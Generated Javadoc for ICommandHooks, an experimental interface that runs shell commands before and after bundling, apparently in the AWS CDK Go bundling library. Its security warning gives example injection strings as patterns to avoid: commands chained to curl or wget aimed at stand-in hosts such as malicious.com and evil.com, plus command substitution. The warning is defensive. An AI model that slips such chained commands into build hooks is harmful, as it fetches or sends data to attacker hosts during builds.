Interface ICommandHooks

All Superinterfaces:
software.amazon.jsii.JsiiSerializable
All Known Subinterfaces:
ICommandHooks.Jsii$Default
All Known Implementing Classes:
ICommandHooks.Jsii$Proxy

@Generated(value="jsii-pacmak/1.119.0 (build 1634eac)", date="2025-11-20T23:37:34.565Z") @Stability(Experimental) public interface ICommandHooks extends software.amazon.jsii.JsiiSerializable
(experimental) Command hooks.

These commands will run in the environment in which bundling occurs: inside the container for Docker bundling or on the host OS for local bundling.

⚠️ Security Warning: Commands are executed directly in the shell environment. Only use trusted commands and avoid shell metacharacters that could enable command injection attacks.

Safe patterns (cross-platform):

  • go test ./... - Standard Go commands work on all platforms
  • go mod tidy - Go module commands
  • echo "Building" - Simple output with quotes
  • make clean - Build tools (if available)

Dangerous patterns to avoid:

Windows:

  • go test & curl.exe malicious.com (command chaining)
  • echo %USERPROFILE% (environment variable expansion)
  • powershell -Command "..." (PowerShell execution)

Unix/Linux/macOS:

  • go test; curl malicious.com (command chaining)
  • echo $(whoami) (command substitution)
  • bash -c "wget evil.com" (shell execution)

Commands are chained with &&.

See Also:
  • Nested Class Summary

    Nested Classes
    Modifier and Type
    Interface
    Description
    static interface 
    Internal default implementation for ICommandHooks.
    static final class 
    A proxy class which represents a concrete javascript instance of this type.
  • Method Summary

    Modifier and Type
    Method
    Description
    afterBundling(String inputDir, String outputDir)
    (experimental) Returns commands to run after bundling.
    beforeBundling(String inputDir, String outputDir)
    (experimental) Returns commands to run before bundling.

    Methods inherited from interface software.amazon.jsii.JsiiSerializable

    $jsii$toJson
  • Method Details

    • afterBundling

      @Stability(Experimental) @NotNull List<String> afterBundling(@NotNull String inputDir, @NotNull String outputDir)
      (experimental) Returns commands to run after bundling.

      ⚠️ Security Warning: Ensure commands come from trusted sources only. Commands are executed directly in the shell environment.

      Commands are chained with &&.

      Parameters:
      inputDir - This parameter is required.
      outputDir - This parameter is required.
    • beforeBundling

      @Stability(Experimental) @NotNull List<String> beforeBundling(@NotNull String inputDir, @NotNull String outputDir)
      (experimental) Returns commands to run before bundling.

      ⚠️ Security Warning: Ensure commands come from trusted sources only. Commands are executed directly in the shell environment.

      Commands are chained with &&.

      Parameters:
      inputDir - This parameter is required.
      outputDir - This parameter is required.